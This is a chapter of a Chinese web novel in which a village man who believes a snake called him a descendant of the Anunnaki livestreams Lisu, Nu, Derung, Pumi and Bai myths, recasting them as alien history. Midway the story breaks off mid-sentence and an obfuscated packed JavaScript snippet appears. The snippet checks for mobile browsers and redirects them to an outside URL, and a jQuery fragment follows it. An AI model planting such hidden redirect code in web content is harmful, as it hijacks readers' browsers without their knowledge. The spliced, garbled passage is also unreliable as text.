那天晚上马百里没睡好。
不是失眠，是睡得太不踏实了——一会儿梦见自己变成牛在田里走，一会儿梦见自己变成蛇钻地缝，一会儿梦见那条蛇绕在三叉戟上，眼睛直勾勾地盯着他。
“摩诃迦罗的血脉觉醒了。”它说。
然后他就醒了。
窗外还是黑的。他摸出手机看了一眼，凌晨四点十七分。充电器插了一晚上，电量满格，但信号还是两格——三道沟村就这样，偏得连信号都懒得来。
他躺回去，盯着黑漆漆的天花板。
脑子里又开始转那些乱七八糟的事。
那条蛇说他是阿努纳奇的后裔。阿努纳奇是《地球编年史》里写的，说是从尼比鲁星球来的外星人，几万年前改造了人类的基因，创造了文明。他以前翻过那本书，在西西弗书店，站着翻了两页，觉得太扯就没买。
但现在——
他举起手，看着那两个发黑的伤口。已经过了一天一夜，伤口没化脓也没愈合，就那么两个小洞，像被蛇咬过的——本来就是被蛇咬的。
他试着想了想“变牛”。
没反应。
再想。
还是没反应。
“算了。”他翻了个身，继续盯着天花板。
那条蛇说需要时间练习。可能他现在还练不会。
也可能昨晚那场直播耗了他太多精力——五百多个人听他瞎扯，这对他来说是破天荒的事。他这辈子没被这么多人同时关注过。
门外传来脚步声。
有人敲门：“马百里？起了没？”
是那江花。
他爬起来，套上衣服，开门。
她站在门口，手里端着一碗热腾腾的东西：“早饭。吃了来村委会。”
马百里接过碗，是漆油鸡米线。热气腾腾的，上面飘着一层金黄色的油。
“谢了。”
那江花已经转身走了，边走边说：“快点啊，今天有正事。”
马百里端着碗蹲在门口吃米线。
太阳刚出来，照在那些木楞房上，照在山坡上的梯田里。远处有人在放牛，牛铃铛叮叮当当地响。近处有鸡在刨食，有狗在晒太阳。
真安静。
他忽然想起昨晚那只鸟说的话：“五百多个人听他瞎扯。”
是啊，五百多个人。
那些人在手机那头，在某个城市的出租屋里，或者在某个学校的宿舍里，或者在某个加班的工位上——听他讲石月亮、讲嘎瓦格布、讲天神和蛇。
他们听得那么认真。
刷了那么多礼物。
说了那么多“下次什么时候播”。
马百里低头看了一眼碗里的米线，忽然有点恍惚。
这是真的吗？
他不是神经病吗？
一个神经病，能对着五百多个人讲神话，讲得他们一愣一愣的？
他吃完米线，把碗洗了，往村委会走。
那江花正在那间小屋里摆弄设备，见马百里进来，头也不回地说：“来来来，教你调参数。”
他走过去，看着她一通操作：光圈、快门、白平衡、美颜滤镜——
“这个美颜开太高了吧？”他说。
“你懂什么。”那江花瞪他一眼，“观众喜欢看好看的。”
马百里看着屏幕上那张被磨皮磨得有点不像自己的脸，沉默了两秒。
“行吧。”
“今天三点还是那个时间。”那江花说，“我估摸着还能来不少人。昨晚后来有人录了屏发到群里，转发了几百次。”
马百里愣了一下。
“录屏？”
“对啊，你讲的那些。”那江花翻着手机给他看，“你看这个，标题叫‘怒江傈僳族小哥爆笑讲神话，最后神转折’，播放量已经两万多了。”
他凑过去看。还真是他，穿着那套傈僳族衣服，对着手机一本正经地胡说八道。弹幕刷得密密麻麻的——“笑死我了”“这主播太有才了”“下次什么时候播”。
“两万多？”他有点不敢相信。
“两万三。”那江花说，“所以今天可能来的人更多。”
她把手机收起来，看着马百里：“马百里，你真的只是随便说的？”
他点点头。
“那些外星人什么的——你从哪听来的？”
马百里想了想：“网上看的。”
“什么网上？”
“就——”他有点编不下去，“忘了。”
那江花盯着他看了几秒，没再追问。
“行吧，反正效果是好的。”她说，“今天接着说，把咱们村几个民族的神话都讲一遍。我整理了一份材料，你看看。”
她从桌上拿起一个本子递给他。
马百里翻开，里面密密麻麻写着：傈僳族——石月亮传说、启沙勒少兄妹；怒族——嘎瓦格布、茂英充、阿铁；独龙族——天神造人、物种起源；普米族——日月走婚、药王神话；白族——大黑天神；拉玛族——
“这么多？”他抬头看她。
“咱们村五个民族呢。”那江花说，“你以为呢？”
马百里低头继续翻。
这些传说他大部分听过，但有一些是第一次见。比如怒族的“阿铁”，说洪水过后阿铁和姑娘幸存，繁衍了人类。比如独龙族的“嘎美嘎莎”，说两个天神用泥巴捏了人，吹一口气就活了。
那江花在旁边说：“你讲的时候可以加点自己的理解，就像昨天那样——但别太离谱。”
“什么叫太离谱？”
“就——”她想了想，“别说成外星人就行。”
马百里沉默了两秒。
“行。”
但他心里想的却是另一回事。
如果那条蛇说的是真的，如果那些画面是真的——那这些传说，可能本来就是“外星人”。
他需要的不是“别太离谱”，而是怎么在“不离谱”的前提下，把这些东西讲出来。
下午两点五十分，马百里坐在了那间小屋里。
那江花开好设备，调好参数，看了他一眼：“准备好了吗？”
“好了。”
“那我开了啊。”
屏幕亮了。
在线观看 127人。
比昨天开场多一百多个。
屏幕上开始刷弹幕：
“来了来了！”
“那个讲神话的神经病呢？”
“是他吗？换了衣服？”
马百里低头看了看自己——今天换了一套干净的傈僳族衣服，头发也洗了，脸上那几道口子结了痂，看着没那么狼狈。
“是我。”他说，“昨天那个神经病。”
“哈哈哈哈！”
“自我认知很清晰！”
“笑死”
在线观看 189人。
“今天讲什么？”
“继续讲神话吗？”
“讲那个外星人的！”
马百里清了清嗓子。
“今天讲点别的。”他说，“讲一个怒族的传说——嘎瓦格布。”
屏幕上安静下来。
“嘎瓦格布是一座山，在贡山县那边。”他说，“传说很久以前，洪水泛滥，淹没了大地。人类都死光了，只剩两兄妹和一对蛇，躲在那座山上。”
他顿了顿。
“兄妹俩想打死蛇。蛇说：打死我们，你们也活不了。”
屏幕上有人打字：“为什么？”
“因为那对蛇是守护者。”他说，“它们守着这座山的秘密。如果它们死了，那个秘密就永远没人知道了。”
“什么秘密？”
“洪水为什么会退？”他反问，“兄妹俩为什么能活下来？”
没人回答。
“传说里说，洪水退后，兄妹俩住在山洞里。两人分睡，第一天中间隔柴垛，第二天隔刀，第三天隔一碗水。可每次天亮，他们都睡到了一块，隔物纹丝不动。”
屏幕上有人打字：“这不就是神话套路吗？”
“对，很多民族都有这种传说。”马百里说，“兄妹成婚，繁衍人类。怒族说他们生了九对儿女，分成九对夫妻，分住九条江。其中一对住在怒江，就成了怒族。”
“那后来呢？”
“后来那对兄妹成了神，住在嘎瓦格布山上。”马百里说，“每年有人去祭拜，求他们保佑。”
屏幕上沉默了几秒。
然后有人打字：“你昨天不是说那些神是外星人吗？”
马百里看着那条弹幕，笑了笑。
“是啊。”
“那今天这个呢？也是外星人？”
他想了想。
“那对兄妹可能不是外星人。”他说，“但那对蛇可能是。”
屏幕上又炸了。
“？？？”
“蛇怎么是外星人？”
“越说越玄了！”
“那对蛇守护的秘密是什么？”他反问，“如果它们真的是普通的蛇，为什么杀了它们就活不了？”
没人回答。
“因为它们守护的东西，能让洪水退去。”他说，“那个东西——”
他停顿了一下，脑子里闪过那根银白色的三叉戟。
“可能是一台机器。一台控制气候的机器。”
屏幕上安静了几秒。
然后有人打字：“你这脑洞是真的大。”
“我只是瞎编的。”马百里笑了笑，“别当真。”
在线观看 337人。
屏幕上开始刷礼物。棒棒糖、小花、大拇指，还有几个跑车。
那江花在镜头外给他竖了个大拇指。
他继续说下去。
“再讲一个独龙族的传说。”他说，“说天神木别把女儿嫁给孔庚，给了她一竹筒东西，让她到地上再打开。她忍不住半路打开，里面飞出来一群蜂子，飞到怒江、澜沧江一带的岩壁上，就成了野蜂。”
“这个你昨天讲过！”
“对，但还有后续。”马百里说，“天神还给了她鱼卵，放在竹篮里。她过河的时候不小心把篮子掉进水里，于是就有了鱼。本来鱼是在陆地上的。”
屏幕上有人打字：“鱼本来就在水里吧？”
“传说是这么说的。”马百里说，“你们想过没有，为什么蜂和鱼是这么来的？”
“为什么？”
“因为独龙族的人知道，那些东西不是自然存在的。”他说，“是‘天神’带来的。是他们创造了蜂，创造了鱼，创造了——”
他顿了顿。
“可能也创造了人。”
屏幕上沉默了很久。
在线观看 452人。
有人打字：“你是认真的吗？”
“当然不是。”马百里笑了笑，“我就是随便说说。”
但他知道他不是随便说说。
那些画面，那条蛇，那根三叉戟——它们在他脑子里转了一整天，怎么都挥不去。
如果那条蛇说的是真的，如果那些画面是真的——那他讲的这些“传说”，可能根本不是传说。
是历史。
是几万年前真实发生过的事。
只是那些事被一代代传下来，传成了神话，传成了传说，传成了奶奶哄孩子睡觉的故事。
而现在，有人——有“蛇”——告诉他，那些都是真的。
他深吸一口气，继续说下去。
“普米族有个传说，说太阳是个善良的妇女，白天出来干活，晚上回家休息。她怕别人看见她的身体，就从身上发射许多根银针——那就是太阳的光芒。”
“这个也讲过！”
“对，但我昨天没讲完。”马百里说，“你们知道为什么她怕被别人看见吗？”
“为什么？”
“因为她身上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375021|200055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穿着的东西，不能让人看见。”他说，“那是——”
他想了想，换了个说法。
“那是她的工作服。发光的、反光的工作服。”
“工作服？”
“哈哈哈哈！”
“太阳神穿工作服？”
“月亮是个男子，晚上出来活动，白天躲在山洞里。”他没理他们的笑声，继续说，“太阳不嫁夫，月亮不娶妻，他们过着一种‘走婚’的生活。”
屏幕上有人打字：“这不就是现代人的婚姻吗？”
“对，普米族以前确实有走婚的习俗。”马百里说，“所以这个传说，可能不只是传说。”
“什么意思？”
“可能他们用这个传说来解释自己的习俗。”他说，“太阳和月亮都这么过，我们为什么不能？”
屏幕上安静了几秒。
然后有人打字：“你这解读有点东西。”
在线观看 527人。
马百里开始有点适应这种节奏了——一边讲传说，一边“瞎编”，一边看屏幕上那些滚动的弹幕和礼物。
那江花在镜头外不停地竖大拇指。
他继续说下去。
讲怒族的“阿铁”，说他和姑娘在洪水后幸存，繁衍了人类。
讲独龙族的“嘎美嘎莎”，说两个天神用泥巴捏人，吹一口气就活了。
讲傈僳族的“启沙勒少”，说兄妹俩一箭射穿山峰，救了百姓。
讲白族的“大黑天神”，说天神吞下瘟药，脸和身体都变黑了。
每讲一个，他加一点“自己的理解”。
那些“理解”来自那条蛇告诉他的事，来自那些涌进他脑子里的画面，来自那根插在地缝里的三叉戟。
但他说的时候，都加了一句“我就是瞎编的”。
观众很吃这套。
他们觉得他在一本正经地胡说八道，觉得他有才，觉得他“太有意思了”。
他们不知道，他说的那些“瞎编的”，可能都是真的。
时间过得很快。
不知不觉已经讲了一个多小时。
在线观看 689人。
屏幕上开始有人问：“下次什么时候播？”
“对啊，明天还播吗？”
“几点？”
“还是这个时间？”
马百里看向那江花。她在镜头外比了个手势——“三点”。
“明天下午三点。”他说，“还是这个时间。”
屏幕上刷了一波“好的”“收到”“一定来”。
他正准备说结束语，忽然看见一条弹幕：
“你能讲一下你自己的故事吗？”
马百里愣了一下。
“什么？”
“就是你自己的故事。”那人打字，“你为什么会知道这些？”
屏幕上安静了几秒。
马百里看着那条弹幕，脑子里一片空白。
他自己的故事？
说他因为能听懂动物说话被诊断成神经病？
说他回家路上掉进地缝，找到一根三叉戟？
说他在那江花面前变成了一头牛，被当成村里的公共财产耕了一天地？
说他现在还在纠结自己到底是不是人？
他沉默了几秒。
然后笑了笑。
“我自己的故事啊——”他说，“很简单。我本来在大城市打工，后来因为一些原因回来了。然后就坐在这儿给你们讲神话。”
屏幕上有人打字：“就这么简单？”
“就这么简单。”他说，“平凡人的平凡故事，没什么好讲的。”
他没看那条弹幕。
但他看见另一条弹幕飘过：
“你刚才讲那些神话的时候，眼神不太一样。”
他愣了一下。
“什么不一样？”
“像是——”那人打字，“像是在说真事。”
马百里看着那条弹幕，沉默了几秒。
然后他笑了。
“神经病嘛。”他说，“神经病说什么都像真的。”
屏幕上炸了。
“哈哈哈哈！”
“这回复绝了！”
“笑死我了！”
在线观看 712人。
那江花在镜头外比了个“结束”的手势。
马百里对着屏幕挥了挥手：“行了，今天就到这儿，明天见。”
点了“结束直播”。
屋里安静下来。
那江花走过来，一脸兴奋：“马百里，你知道今天多少人吗？”
“七百多。”
“七百一十二！”她晃着手机，“而且礼物比昨天多一倍！”
马百里靠在椅背上，有点累。
“明天还能播吗？”她问。
他想了想。
“能吧。”
那江花拍拍他肩膀：“行，明天继续。等春耕忙完，我请你喝酒。”
她推门出去了。
屋里只剩马百里一个人。
他盯着那个暗掉的屏幕，脑子里还在想那条弹幕——
“像是在说真事。”
他确实是在说真事。
只是没人信。
窗外天快黑了。夕阳把远处的山照成金色，石月亮在云层里若隐若现。
他起身走到窗边，看着那个方向。
那条蛇说摩诃迦罗的血脉觉醒了。
那条蛇说他是神的后裔。
他不知道该信多少。
但有一件事他现在很确定——
疯的不是他。
是这个有外星人、有三叉戟、有能变成牛的神后裔的世界，彻底疯掉了。
而他，只是这个世界里一个讲“瞎编的故事”的人。
讲给那些愿意听的人听。
明天下午三点。
七百多个人等着他。